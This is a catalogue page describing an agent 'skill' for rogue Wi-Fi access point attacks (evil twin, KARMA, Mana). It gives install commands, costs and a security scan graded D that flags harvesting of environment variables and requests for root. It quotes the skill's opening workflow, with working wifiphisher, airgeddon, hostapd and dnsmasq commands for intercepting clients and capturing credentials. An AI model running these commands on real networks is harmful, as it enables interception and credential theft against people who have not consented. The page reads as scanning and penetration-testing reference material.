Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-evil-twingit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-evil-twin)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-evil-twin"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-evil-twin/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-evil-twin"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-evil-twin.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00129 | $0.02465 |
| Opus 5.5 | $0.00052 | $0.00986 |
| Sonnet 5.5 | $0.00026 | $0.00493 |
| Haiku 4.5 | $0.00013 | $0.00247 |
Grade D, and why
offensive-evil-twin scanned grade D with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
description: "Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd How it starts
The opening of the file, as written. The whole thing — 261 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Evil Twin / KARMA / Mana
Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.
Quick Workflow
- Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
- Stand up rogue AP advertising matching ESSID(s)
- (Optional) Deauth clients off legitimate AP to push them toward yours
- Run captive portal / transparent MITM
- Capture creds, deliver payload, or harvest sessions
Variants
| Variant | Mechanic | Use Case |
|---|---|---|
| Evil Twin | Same ESSID + BSSID as legit AP | Open or PSK-known networks (ISP cafe Wi-Fi, public guest) |
| KARMA | Respond "yes" to every probe request | Clients with broad PNLs (most older devices) |
| Mana | Respond selectively to probes per-client | KARMA-aware MAC randomization defenses |
| Known Beacons | Beacon a list of likely-known ESSIDs | Wide-net attraction without seeing probes first |
| Captive Portal | Force splash page on association | Phishing, payload delivery |
Open / PSK-Known Evil Twin
Use when you know (or have cracked) the PSK.
# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal
# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &
# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1 # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 261 lines · 129 tokens per session scan D dc71dc4ba63c
offensive-evil-twin is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 129 tokens to every session and 2,465 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it D with 2 findings (harvests environment variables, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.
Other skills, from other repositories
neuroskill-bci
Use live BCI cognitive and mood state from NeuroSkill.
opentrons-integration
Official Opentrons Protocol API for OT-2 and Flex robots. Use when writing protocols specifically for Opentrons hardware with full access to Protocol API v2 features. Best for production Opentrons protocols, official API compatibility. For multi-vendor automation or broader equipment control use pylabrobot.
pylabrobot
Vendor-agnostic lab automation framework. Use when controlling multiple equipment types (Hamilton, Tecan, Opentrons, plate readers, pumps) or needing unified programming across different vendors. Best for complex workflows, multi-vendor setups, simulation. For Opentrons-only protocols with official API…
openhue
Control Philips Hue lights, rooms, and scenes via the OpenHue CLI. Turn lights on/off, adjust brightness, color, color temperature, and activate scenes.
eightctl
Control Eight Sleep pods (status, temperature, alarms, schedules).
gap
Program robots with GaP (graph-as-policy) — compile natural-language tasks into typed, verified robot skill graphs and run them on simulators or real robots. Use when the user mentions GaP or graph-as-policy, robot manipulation, robot skills, robot tools or capabilities, skill registries, open-robot-skills, LIBERO or…